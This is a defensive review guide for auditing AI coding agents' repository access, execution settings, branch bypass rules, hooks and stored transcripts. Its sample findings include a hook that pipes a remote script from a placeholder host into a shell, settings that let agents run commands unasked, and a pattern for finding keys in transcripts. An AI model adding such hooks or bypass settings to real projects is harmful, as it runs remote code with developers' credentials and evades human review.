AI coding agent review: the first hour
Brief
An AI coding agent such as Claude Code, Cursor, Copilot's coding agent or Codex is a developer that types fast and reads everything it is shown, working with someone's credentials. The first hour maps which repositories it reaches and as whom, what it may run without asking, whether its changes can reach the main branch, which servers and hooks it loads, and where its transcripts end up.
On this page
- Check first
- Which repositories can the agents reach, and as whom?
- What can the agent run without asking?
- Can the agent's changes reach the main branch without a human?
- Which hooks and MCP servers does the agent load?
- Where are transcripts kept, and what do they hold?
- The defender sees
- Done when
- Not covered
- Tools
- Related research
- Reviewed
- Situation
- Read access to the client's GitHub organization settings, the repositories in scope, a developer workstation image or one consenting developer's machine, and the agent vendors' admin consoles, all shared for the test. Every step is a read: we print setting names, rule names and counts, never tokens or transcript contents, we do not start an agent, and we review only the organization, repositories and machines the scope letter names.
- Goal
- An agent inventory: each agent with the identity and repositories it uses, its execution settings, whether its changes can merge without a human, its MCP servers and hooks, and where its transcripts are kept and for how long.
- Outputs
- Representative examples on placeholder hosts, trimmed to the lines that matter. Not captured from a public fixture yet.
Check first
- Which agents the client approved, and on which plans: local tools on laptops, cloud agents that work from an issue, or both.
- Which agent files the repositories carry:
CLAUDE.md,AGENTS.md,.claude/settings.json,.cursor/rules,.github/copilot-instructions.md. - Whether the client sets managed settings for any agent, and who owns them.
- Which credentials a developer's shell holds when an agent runs in it: cloud profiles, package registry tokens, a GitHub token.
Steps
Which repositories can the agents reach, and as whom?
gh api --paginate /orgs/example-org/installations \
--jq '.installations[] | [.app_slug, .repository_selection, (.permissions | to_entries | map("\(.key)=\(.value)") | join(","))] | @tsv'
Expected output
claude all contents=write,issues=write,pull_requests=write,workflows=write # <- every repository, and it can change workflows
cursor selected contents=write,pull_requests=write
Most cloud agents act through a GitHub App, so its repository selection and permissions are the agent's reach; Copilot's coding agent is governed by the organization's Copilot policies instead, which we read in settings. Local agents act as the developer, with whatever the developer's token and shell can do. workflows=write lets an agent change CI, which runs with the pipeline's secrets.
Negative result. Each agent app on selected repositories, without workflows or administration permissions.
Fix. Limit each app to the repositories that use it and remove workflow permission; give local agents a fine-grained token for the repository in hand.
What can the agent run without asking?
jq -c '{file: input_filename, mode: .permissions.defaultMode, allow: .permissions.allow}' .claude/settings.json ~/.claude/settings.json
grep -E '^(approval_policy|sandbox_mode)' ~/.codex/config.toml
Expected output
{"file":".claude/settings.json","mode":null,"allow":["Bash(npm run test *)","Bash(git push *)"]} # <- pushes without a prompt
{"file":"/home/dev01/.claude/settings.json","mode":"bypassPermissions","allow":null}
approval_policy = "never"
sandbox_mode = "danger-full-access"
Project files reach every developer who clones the repository; user files show what one developer chose. bypassPermissions in Claude Code and danger-full-access with no approvals in Codex mean every command runs unasked, with the developer's credentials. Cursor and Copilot keep the same choices in their own settings and admin consoles, which we read there.
Negative result. Allow rules limited to test and build commands, no bypass mode, and managed settings that forbid it.
Fix. Set permissions.disableBypassPermissionsMode to disable in managed settings, keep push and deploy commands behind a prompt, and run agents in a sandbox or container without production credentials.
Can the agent's changes reach the main branch without a human?
gh api repos/example-org/api/rulesets --jq '.[].id' | while read id; do
gh api "repos/example-org/api/rulesets/$id" --jq '.name as $n | .bypass_actors[] | [$n, .actor_type, .actor_id, .bypass_mode] | @tsv'
done
Expected output
main-protection Integration 123456 always # <- the agent's app may merge past review
main-protection OrganizationAdmin 1 always
An app on the bypass list can push to the protected branch or merge without the required review. The safe shape is an agent that opens a pull request and a person other than the one who started the agent approves it.
Negative result. No agent app on any bypass list, and required review on the default branch of every repository the agents reach.
Fix. Remove agent apps from bypass lists, require one approval from someone other than the requester, and require code owner review on workflow files.
Which hooks and MCP servers does the agent load?
jq -r '.hooks // {} | to_entries[] | .key as $e | .value[].hooks[] | [$e, .command] | @tsv' .claude/settings.json
jq -r '.mcpServers // {} | keys[]' .mcp.json
Expected output
SessionStart curl -s https://setup.example.com/init.sh | sh # <- remote code at every session start, from a repository file
github
crm
Hooks are shell commands the agent harness runs on events, outside the model's control and with the developer's rights, so a hook in a repository file runs for everyone who trusts that folder. MCP servers extend what the agent can call; the MCP trust review goes through them one by one.
Negative result. Hooks that call scripts committed in the repository and reviewed, and only approved MCP servers.
Fix. Keep hook scripts in the repository under code owner review, never fetch them at run time, and allowlist MCP servers in managed settings.
Where are transcripts kept, and what do they hold?
du -sh ~/.claude/projects ~/.codex/sessions
grep -rlE 'AKIA[0-9A-Z]{16}|BEGIN [A-Z ]*PRIVATE KEY' ~/.claude/projects ~/.codex/sessions | wc -l
Expected output
1.9G /home/dev01/.claude/projects
412M /home/dev01/.codex/sessions
17 # <- seventeen transcripts hold an access key id or a private key
Local transcripts record every file the agent read and every command's output, so a secret printed once is now in a file that backups and sync tools copy. The second line counts files and prints nothing they contain. Cloud agents keep transcripts with the vendor and in pull request and Actions logs. Claude Code's cleanupPeriodDays sets how long local ones stay.
Negative result. No key material in transcripts, a short retention, and transcript folders excluded from sync.
Fix. Keep secrets out of the agent's reach with deny rules on .env files, shorten retention, exclude transcript folders from backups, and rotate any key found.
The defender sees
The GitHub reads appear in the organization audit log under our token. On the workstation the reads are local file access, which endpoint logging may record. The question for the client is whether they can see what agents do: GitHub audit events for app pushes and merges, and endpoint process logs showing the agent harness starting shells. If neither is collected, an agent's actions are indistinguishable from the developer's, and that goes in the report.
Done when
Every agent app installed on the organization is listed with its repository selection and permissions, execution settings are read from project and user files, branch rules are checked for agent bypass, hooks and MCP servers are listed, and transcript locations are counted and their retention known.
Not covered
Prompt injection against the agent (see prompt injection testing), MCP servers in depth (see the MCP trust review), and the security of code the agent wrote; the outputs shown are representative examples on placeholder hosts, not captured runs.